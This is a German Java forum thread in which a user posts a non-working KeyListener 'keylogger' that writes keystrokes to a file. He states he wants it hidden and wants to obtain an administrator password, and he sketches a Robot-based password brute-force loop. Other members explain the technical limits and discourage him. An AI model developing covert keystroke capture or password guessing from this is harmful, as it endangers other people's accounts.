Programm, das nach abgearbeiteter main Methode weiterläuft

Guenter123987

Bekanntes Mitglied
Mein Programm wartet via KeyListener auf Tastatureingaben und reagiert darauf. Das heißt, es hat keine main Methode, die feste Befehle abarbeitet. Es arbeitet also in diesem Aspekt ähnlich wie eine Nutzeroberfläche. Das Problem ist, dass ich das Programm zurzeit nicht starten kann, da schlicht und einfach die main Methode leer ist. Das muss doch irgendwie zu beheben sein, sonst gäbe es ja nicht JFrame. Oder?
 

Joose

Top Contributor
Das heißt, es hat keine main Methode, die feste Befehle abarbeitet.
Jedes Programm braucht aber eine main-Methode, diese ist nun mal der Startpunkt. Bei einem JFrame erzeugt man auch ein entsprechendes Objekt und setzt dieses dann sichtbar.
Das Problem ist, dass ich das Programm zurzeit nicht starten kann, da schlicht und einfach die main Methode leer ist. Das muss doch irgendwie zu beheben sein, sonst gäbe es ja nicht JFrame. Oder?
Wie soll denn dein Programm auf Tastatureingaben reagieren? Wie schaut denn der aktuelle Code aus? (vereinfacht reicht auch)
Wo hängt der KeyListener dran? An einer UI Komponenten? Wenn du diese nicht anzeigst wird sie auch nie den Fokus bekommen.
 

Guenter123987

Bekanntes Mitglied
Java:
public class Tastenreaktion implements KeyListener {
   @Override
   public void keyPressed(KeyEvent e) {
       reagiere;
   }
}
Ist stark vereinfacht, es sind ja nicht mal alle Methoden aus dem Interface vorhanden. Aber so ist bisher die Grundstruktur.
 

Guenter123987

Bekanntes Mitglied
Ok, das ist das komplette bisherige Programm. Sicherlich nicht zu stark vereinfacht. Da es noch nicht fertig ist, könnten im Textdokument natürlich Dinge doppelt stehen wegen den beiden Methoden. Das soll später dort verhindert werden, wo jetzt if (true) steht.
Java:
package main;

import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;

public class Main implements KeyListener {
 
   static long startMillis;
 
   @Override
   public synchronized void keyTyped(KeyEvent e) {
       char typedChar = e.getKeyChar();
       try {
           FileWriter fw = new FileWriter("C:\\Users\\Timon\\.p2\\Notizen.txt");
           BufferedWriter bw = new BufferedWriter(fw);
       
           bw.write(getRuntimeSeconds() + " " + typedChar);
       
           bw.close();
           fw.close();
       
       } catch (IOException exc) { exc.printStackTrace(); }
   }

   @Override
   public synchronized void keyPressed(KeyEvent e) {
       int typedKeyIndex = e.getKeyCode();
       String typedKeyString = KeyEvent.getKeyText(typedKeyIndex);
       try {
           FileWriter fw = new FileWriter("C:\\Users\\Timon\\.p2\\Notizen.txt");
           BufferedWriter bw = new BufferedWriter(fw);
       
           if (true) {
               bw.write(getRuntimeSeconds() + " " + typedKeyString);
           }
       
           bw.close();
           fw.close();
       
       } catch (IOException exc) { exc.printStackTrace(); }
   }
 
   public static void main(String[] args) throws InterruptedException {
       startMillis = System.currentTimeMillis();
   }
 
   static String getRuntimeSeconds() {
       return Long.toString((System.currentTimeMillis() - startMillis) / 1000);
   }

   @Override
   public void keyReleased(KeyEvent e) { /*nur wegen Interface nötig*/ }
}
 
Zuletzt bearbeitet:

Guenter123987

Bekanntes Mitglied
Mir ist der Gedanke gekommen, dass ich vielleicht in der main Methode eine Instanz der eigenen Klasse erstellen muss, da die 3 Methoden aus dem Interface ja nicht statisch sind. Hat aber auch nicht geklappt.
 

thecain

Top Contributor
Nein, der KeyListener muss einer Komponente hinzugefügt werden, welche dann im Fokus ist. Ohne GUI wird das nicht funktionieren.
 

Guenter123987

Bekanntes Mitglied
Kann ich eine GUI nehmen, bei der visible false ist? So ein Keylogger sollte ja nicht unbedingt gesehen werden.
Ich mach den Keylogger nur, um zu gucken, obs in Java möglich ist. Ich mach keine schlimmen Sachen damit.
 

Guenter123987

Bekanntes Mitglied
Mist. Das heißt, ich kann ohne sichtbares Fenster gar keine Tastatureingaben abfragen? Das ist irgendwie komisch, dann könnte man ja keinen Hintergrundprozess via Shortcut beenden.
 

Guenter123987

Bekanntes Mitglied
Es muss möglich sein, dass man nur eine Instanz einer spezifischen Klasse erstellen muss und das Programm läuft durch, bis System.exit(0);. Es kann gar nicht anders sein, weil man JFrame ja auch einfach nur instanziiert und es läuft durch. Und JFrame ist ja auch eigentlich nur eine Klasse.
Dann könnte ich ja theoretisch einfach den Source Code von JFrame durchgucken und gucken, wie das funktioniert. Habe ich versucht, aber ich finde mich in der ewig langen Klasse nicht zurecht. Und sie erbt auch noch von Window (auch ewig lang) und Window erbt von Frame (ebenfalls kilometerlang). Hat irgendjemand von euch eine Idee, wie es funktionieren könnte? Ansonsten lese ich mir das alles durch, und wenn es Monate braucht.
 

Guenter123987

Bekanntes Mitglied
Liegt im Framekonstruktor Zeile 419. Verweist auf die "init"-Methode Zeile 449. Und da komme ich nicht weiter. Kann mir da jemand helfen? Ich weiß nicht, was this in Zeile 450 und 451 bedeutet. Wäre sehr dankbar.
Kann es sein, dass this auf die Instanz verweist, die gerade erstellt wird?
 

Guenter123987

Bekanntes Mitglied
Wenn dem so wäre, würde es Sinn ergeben. Dann würde nichts zum gewünschten Effekt führen können, außer dass
Java:
sun.awt.SunToolkit.checkPolicy(<Frame-Instanz, die gerade erstellt wird>, false)
aufgerufen wird.
 
Zuletzt bearbeitet:

Guenter123987

Bekanntes Mitglied
Das hier ist die Methodendeklaration.
Java:
   public static void checkAndSetPolicy(Container cont, boolean isSwingCont)
   {
       FocusTraversalPolicy defaultPolicy = KeyboardFocusManager
           .getCurrentKeyboardFocusManager().getDefaultFocusTraversalPolicy();

       String toolkitName = Toolkit.getDefaultToolkit().getClass().getName();
       // if this is not XAWT then use default policy
       // because Swing change it
       if (!"sun.awt.X11.XToolkit".equals(toolkitName)) {
           cont.setFocusTraversalPolicy(defaultPolicy);
           return;
       }

       String policyName = defaultPolicy.getClass().getName();

       if (DefaultFocusTraversalPolicy.class != defaultPolicy.getClass()) {
           // Policy was changed
           // Check if it is awt policy or swing policy
           // If it is Swing policy we shouldn't use it in AWT frames
           // If it is AWT policy  we shouldn't use it in Swing frames
           // Otherwise we should use this policy
           if (policyName.startsWith("java.awt.")) {
               // AWT
               if (isSwingCont) {
                   // Can't use AWT policy in Swing windows - should use Swing's one.
                   defaultPolicy = createLayoutPolicy();
               } else {
                   // New awt policy.
               }
           } else if (policyName.startsWith("javax.swing.")) {
               if (isSwingCont) {
                   // New Swing's policy
               } else {
                   defaultPolicy = new DefaultFocusTraversalPolicy();
               }
           }
       } else {
           // Policy is default, use different default policy for swing
           if (isSwingCont) {
               defaultPolicy = createLayoutPolicy();
           }
       }
       cont.setFocusTraversalPolicy(defaultPolicy);
   }
Man könnte auf jeden Fall eine Frame-Instanz übergeben, weil Frame von Window erbt und Window von Container. Also ist Container eine Mutterklasse von Frame.
Und wer sich das fragt: policy heißt in dem Fall Regel oder Verfahrensweise.
 
Zuletzt bearbeitet:

Harry Kane

Top Contributor
Um "nur mal zu gucken, obs überhaupt geht", investierst du aber ziemlich viel Mühe.
Am Ende dürfte die Erkenntnis stehen, dass ein Java KeyListener nicht global/windowsweit arbeitet, sondern nur innerhalb einer Java GUI.
 

Guenter123987

Bekanntes Mitglied
Ich sehs ja schon ein, dass es nicht geht. Aber wie ein Programm funktioniert, das laufend reagiert und nicht etwas Festes abarbeitet, möchte ich trotzdem herausfinden. Da suche ich weiter, bis ichs weiß.
 

Guenter123987

Bekanntes Mitglied
Ok, danke, Joose. Habe mir das angeguckt. Es wird ein Thread gestartet, der die Fensterkomponente erstellt. Das Programm tut dann nichts, bis du auf einen Knopf drückst. Und wie man dieses Nichtstun, ohne dass der Dienst sich beendet, hinkriegt, das interessiert mich. Bisher kriege ich Nichtstun nur für eine gewisse Zeitspanne hin und nicht bis eine boolsche Bedingung eintrifft. Also hat mir der Link leider nicht geholfen. Vielleicht habe ich ihn aber auch nur nicht richtig verstanden.
 

Guenter123987

Bekanntes Mitglied
Habe es jetzt begriffen. Eignet sich irgendwie nicht gut für meine Zwecke. Ich glaube, was ich machen möchte, fehlt noch komplett in Java.
Wenn man eine Taste drückt, geht davon ein elektrisches Signal aus. Und ein Signal kann einen Vorgang starten. Sonst könnte man ja Windows nicht booten. Der Vorgang ist einfach eine Methode. Dann muss nicht dauerhaft ein Dienst laufen, der guckt, was gedrückt wird. Das muss man doch irgendwie verwirklichen können. Oder sind da schon die Grenzen von Java erreicht?
 

Guenter123987

Bekanntes Mitglied
Die Klasse ist interessant. Ich habe gerade nicht die Ressourcen, mir ein JNI Buch zu kaufen, also werde ich mit Robot arbeiten. Obwohl das eigentlich nicht ganz das ist, wonach ich gesucht habe.
 

Guenter123987

Bekanntes Mitglied
Also funktioniert java.awt.Robot nicht? Wenn er funktioniert, dann kann ich damit theoretisch sogar Passwörter knacken und das korrekte Passwort aufschreiben.
Funktioniert so: Die Farbwerte vom aktuellen Pixel von der Maus werden am Anfang ausgelesen und in einer Variablen gespeichert. Solange der aktuelle Farbwert dem Startfarbwert entspricht, werden Strings erstellt, die dann in einer Textdatei aufgeschrieben und danach eingetippt werden. Im nächsten Durchlauf wird noch am Anfang die Textdatei geleert.
 

Guenter123987

Bekanntes Mitglied
Ich glaube das "Keylogger nur zum test" langsam nicht mehr... bin mal raus...
Ich möchte herauskriegen, wie man an ein Administratorpasswort kommt und es dann an Microsoft und Oracle schicken. Ich hoffe, dass ich dadurch viel lerne, auch in Hinsicht auf Accountsicherheit in meinem eigenen Compterspiel. Aber das glaubt einem kein Schwein, deshalb habe ich am Anfang versucht, es zu verbergen.
Nicht für das was du willst. Mit dem Robot() kannst du Tastendrücke und MouseMoves erzeugen aber keine Events zu Tastendruck bzw. Mouse-Bewegung abfangen.
Aber das dokumentieren, was der Robot eingibt, müsste doch gehen, oder? Dann könnte man das Passwort ähnlich knacken wie bei alten PINs. Wäre eine noch viel größere Lücke.
 

JStein52

Top Contributor
Aber das dokumentieren, was der Robot eingibt, müsste doch gehen, oder? Dann könnte man das Passwort ähnlich knacken wie bei alten PINs.
Keine Ahnung was du damit meinst ? Warum willst du das dokumentieren ? Du musst den Robot ja eh programmieren und ihm sagen was er tun soll, jeden Tastendruck, jede Mausbewegung. Also weisst du dann ja schon alles.
 

mrBrown

Super-Moderator
Mitarbeiter
Ich möchte herauskriegen, wie man an ein Administratorpasswort kommt und es dann an Microsoft und Oracle schicken. Ich hoffe, dass ich dadurch viel lerne, auch in Hinsicht auf Accountsicherheit in meinem eigenen Compterspiel. Aber das glaubt einem kein Schwein, deshalb habe ich am Anfang versucht, es zu verbergen.

Und was willst du daraus lernen? An nem Keylogger gibts nicht allzu viel zu lernen...da kommst du vermutlich weiter, wenn du einfach fragst, was du wissen willst...
 

Guenter123987

Bekanntes Mitglied
Es sollen Strings generiert werden, sodass nach und nach alle Möglichkeiten durchgegangen werden. Diese Strings tippt der Robot in die Zeile und drückt Enter. Irgendwann ist er dann ja durch. Aber damit er nicht jedes Mal neu alles durchprobieren muss, schreibt er das richtige Passwort in ein Textdokument. Das kann ich ja nicht wissen, wie dann das richtige Passwort lautet.
 

Guenter123987

Bekanntes Mitglied
Und was willst du daraus lernen? An nem Keylogger gibts nicht allzu viel zu lernen...da kommst du vermutlich weiter, wenn du einfach fragst, was du wissen willst...
Endlich mal ein Programm, das funktioniert und einen Sinn hat, gescheit auf ein Textdokument zugreifen, mit Lesemethoden für Tastaturanschläge beziehungsweise mit dem Robot arbeiten.
 

Guenter123987

Bekanntes Mitglied
Braucht das so lange? Ich meine, wenn es 48 Stunden braucht, wäre es immer noch eine größere Lücke und irgendwie sinnvoll, weil man ja den Vorgang abbrechen und später fortsetzen kann. Aber dann irgendwann nicht mehr.
Edit: Es gibt ja auch Heim-PCs mit i7, die müssten das doch recht schnell durchrechnen können.
 

mrBrown

Super-Moderator
Mitarbeiter
Endlich mal ein Programm, das funktioniert und einen Sinn hat, gescheit auf ein Textdokument zugreifen, mit Lesemethoden für Tastaturanschläge beziehungsweise mit dem Robot arbeiten.

Also einen Keylogger, um lernen, wie man einen Keylogger schreibt, und der Sinn des Programms ist dann, mal einen Keylogger geschrieben zu haben ;)

Ganz ehrlich - mach mit deiner Zeit was sinnvolleres ;) "Richtig" funktionieren wird das bei deinem jetzigem Kenntnisstand vermutlich nie.
 

mrBrown

Super-Moderator
Mitarbeiter
Weiß eigentlich jemand ne Antwort auf Post 43?
Ja, es kann so lange dauern.
Die meisten Programme sind gegen solch primitive Angriffe geschützte, mit jedem Fehlversuch steigt die Wartezeit zum nächsten versuch.

Sei es nur, die Wartezeit steigt jeweils eine Sekunde, dann brauchst du für die ersten 100 Versuche über eine Stunde ;)
 
Ähnliche Java Themen
  Titel Forum Antworten Datum
N Programm nach Abschluss neustarten lassen Allgemeine Java-Themen 6
R javax.comm --> Programm funktioniert nach Export nicht mehr Allgemeine Java-Themen 0
J Programm meldet "Keine Rückmeldung" nach Verbindung zum Server Allgemeine Java-Themen 4
J Java programm lässt sich in win7 nach linux install nicht mehr ausführen Allgemeine Java-Themen 18
F externes Programm beginnt erst nach dem ende des mainprogrammes Allgemeine Java-Themen 3
U Programm soll sich nach update neustarten Allgemeine Java-Themen 30
C externes Programm läuft erst nach schließen des mainprogramm Allgemeine Java-Themen 7
Jose05 Umgang mit Exceptions in einen Programm Allgemeine Java-Themen 2
E Output Fehler (Java-Programm Kuchen) Allgemeine Java-Themen 11
S Java Programm lässt sich vom USB-Stick starten, aber nicht von HDD Allgemeine Java-Themen 16
R Programm führt Methoden gleichzeitig aus Allgemeine Java-Themen 2
T Der Aufruf von CMD-Programm Allgemeine Java-Themen 30
A Java Programm erstellen hilfe Allgemeine Java-Themen 10
Mike80 Processing Programm fiert ohne Arduino ein Allgemeine Java-Themen 2
B Mysteriöse Ergebnisse beim Baccarat Programm? Allgemeine Java-Themen 13
districon Programm zum Durchsuchen von (Ebay-)Artikeln Allgemeine Java-Themen 1
T Addons im eigenen Programm Allgemeine Java-Themen 1
Calli11 Was muss ich hier in die Main schreiben, damit das Programm ausgeführt wird? Allgemeine Java-Themen 4
S .exe Datei/Programm auslesen? Allgemeine Java-Themen 2
S Formel für Sonnenwinkel in ein Programm überführen Allgemeine Java-Themen 11
Alex_99 Programm stürzt beim Aufruf der Funktion ab? Text ausgeben Allgemeine Java-Themen 45
B Java Programm auf virutellem Desktop laufen lassen? Allgemeine Java-Themen 1
L Java überprüfen lassen, ob sich ein gegebener Pfad / das Programm an sich auf einer CD oder Festplatte befindet Allgemeine Java-Themen 14
Tiago1234 Warum hängt sich mein Programm auf? Allgemeine Java-Themen 22
D Programm designen Allgemeine Java-Themen 1
S Folgendes Problem bei einem Programm Allgemeine Java-Themen 1
J c Programm läuft nicht in compilierter Version des Java Projektes Allgemeine Java-Themen 7
O 2D-Grafik BioFarben-Programm soll auf Vollbild schalten Allgemeine Java-Themen 1
S Nachrichten Filter Programm Allgemeine Java-Themen 14
S Programm schreiben, das mir aufgrund von Schlagwörtern, die ich im Internet suche, relevante Themen sofort anzeigt. Allgemeine Java-Themen 1
T Hilfe bei Programm. IDE: Eclipse mit EV3-Plugin, lejos Allgemeine Java-Themen 8
Lukas2904 Swing Anzeigen lassen das das Programm geschlossen wurde Allgemeine Java-Themen 3
TechnikTVcode Mail Programm Allgemeine Java-Themen 2
S Programm entwickeln, welches ein Dreieckspuzzle lösen kann Allgemeine Java-Themen 5
R Lesen von Interfaces (Programm Vervollständigen) Allgemeine Java-Themen 10
Dann07 Java-Programm findet DLLs nicht! Allgemeine Java-Themen 20
OSchriever Linux-Programm öffnen Allgemeine Java-Themen 6
P USER Management in SQL übergreifend auf JAVA Programm Allgemeine Java-Themen 41
L Eclipse Konsole im exportierten Programm Allgemeine Java-Themen 2
OSchriever Programm über Linux-Kommandozeile ausführen Allgemeine Java-Themen 20
D Verkauf von einem Programm welches ich in Java geschrieben habe Allgemeine Java-Themen 4
M Programm erkennt String aus .txt Datei nicht Allgemeine Java-Themen 3
P Erstelltes Programm ist doppelt so groß Allgemeine Java-Themen 11
S Einfaches Programm programmieren Allgemeine Java-Themen 5
M kleines KI Programm Idee Allgemeine Java-Themen 7
D Boolean von ein anderem Java Programm während der Laufzeit ändern Allgemeine Java-Themen 23
L Excel Datei löscht sich selbst im Programm - Java Allgemeine Java-Themen 3
I File ausführen und mein Programm bearbeiten lassen Allgemeine Java-Themen 11
ralfb1105 Starten Java App(s) (.jar) aus einem Java Programm Allgemeine Java-Themen 18
temi Java Programm aus einer DB laden und starten Allgemeine Java-Themen 2
N Programm startet nicht, nur per cmd Allgemeine Java-Themen 5
J Programm zum Suchen eines Wortes im Dateisystem Allgemeine Java-Themen 4
E Java Programm mit Clients erweitern - Möglichkeiten? Allgemeine Java-Themen 2
Joker4632 Methoden Befehl an bereits extern geöffnete Programm-spezifische Konsole senden Allgemeine Java-Themen 1
M Dieses Programm schneller machen? Allgemeine Java-Themen 2
R Programm zur Rekursion Allgemeine Java-Themen 5
N Quicksort Programm hängt sich auf Allgemeine Java-Themen 6
S Compiler-Fehler Programm verhält sich in Eclipse anders Allgemeine Java-Themen 1
B Input/Output Programm zum Auslesen/Beschreiben von Textdateien, wie Geschwindigkeit erhöhen? Allgemeine Java-Themen 18
dereki2000 Programm veröffentlichen Allgemeine Java-Themen 14
mrbig2017 Threads Chat Programm mit Threads? Allgemeine Java-Themen 2
M Suche aktuelle Apache Poi Bibliothek zum Einbinden in mein Programm Allgemeine Java-Themen 2
J Java "Bank Programm" Brauche eure Hilfe Allgemeine Java-Themen 3
S Java Programm (Spiel mit den Boxen) Allgemeine Java-Themen 1
kodela Programm hängt in der Ereigniswarteschlange Allgemeine Java-Themen 13
A Java Programm verbessern/vereinfachen Allgemeine Java-Themen 20
P Programm darf nicht mehrfach startbar sein Allgemeine Java-Themen 16
S Programm hängt sich manchmal (selten) auf Allgemeine Java-Themen 9
JavaNewbie2.0 Programm nicht im Taskmanager schliesen können Allgemeine Java-Themen 15
J XML Datei mit installiertem Programm öffnen Allgemeine Java-Themen 7
Arif Input/Output Dateien im Jar-Programm speichern Allgemeine Java-Themen 12
H Java FX 2 Fragen um Programm in mehrere sprachen zu übersetzen in Gluon Framwork Allgemeine Java-Themen 3
JavaNewbie2.0 Programm bleibt "stehen" Allgemeine Java-Themen 2
JavaNewbie2.0 Start eines Anderen Programm erkennen Allgemeine Java-Themen 6
E Mit Java ein Python Programm starten Allgemeine Java-Themen 20
Q-bert Daten von Java Programm speichern Allgemeine Java-Themen 4
Aruetiise Methoden .jar mit Programm öffnen Allgemeine Java-Themen 2
C anderes Programm schließen! Allgemeine Java-Themen 5
C Webseiten Programm problem Allgemeine Java-Themen 5
E Programm auf Installation prüfen Allgemeine Java-Themen 1
J Programm zum Download von CSV-Dateien Allgemeine Java-Themen 4
E Programm ohne Windowsrand(Vollbild) ? Allgemeine Java-Themen 5
P Schnittstelle java Programm zu Webserver / Browser Allgemeine Java-Themen 2
J Schutz Programm Jar Exe Allgemeine Java-Themen 7
Blender3D Java Swing Programm Windows 10 Autostart Problem Allgemeine Java-Themen 2
U Input/Output Warum wirft mir das Programm diesen Fehler? Allgemeine Java-Themen 6
X jvm exception abfangen und an externes Programm schicken Allgemeine Java-Themen 4
B Programm updaten mit FXLauncher Allgemeine Java-Themen 1
D Nicht quelloffenes Programm Allgemeine Java-Themen 5
F Java-Programm lizensieren Allgemeine Java-Themen 21
I Programm im Hintergrund bei Windows zur Steuerung der Tastatur nutzen Allgemeine Java-Themen 2
X Aus Programm "Installationsprogramm" machen Allgemeine Java-Themen 6
T Java Programm in Internetseite? Allgemeine Java-Themen 4
T Java Programm frisst RAM Allgemeine Java-Themen 6
H Alter Java-Programm läuft nicht mehr. Laut strace fehlt libpthread.so.0 Allgemeine Java-Themen 3
H Runtime reagiert erst wenn Programm abbricht Allgemeine Java-Themen 1
E Exceptions abfangen und dann Programm stoppen - aber wie? Allgemeine Java-Themen 2
Neumi5694 Offenes Programm nutzen Allgemeine Java-Themen 4
L Java-Programm Zahlenkombinationen ausgeben Allgemeine Java-Themen 10
KaffeeFan Methoden Suche Methode um Programm kurz warten zu lassen Allgemeine Java-Themen 22

Ähnliche Java Themen

Neue Themen


Oben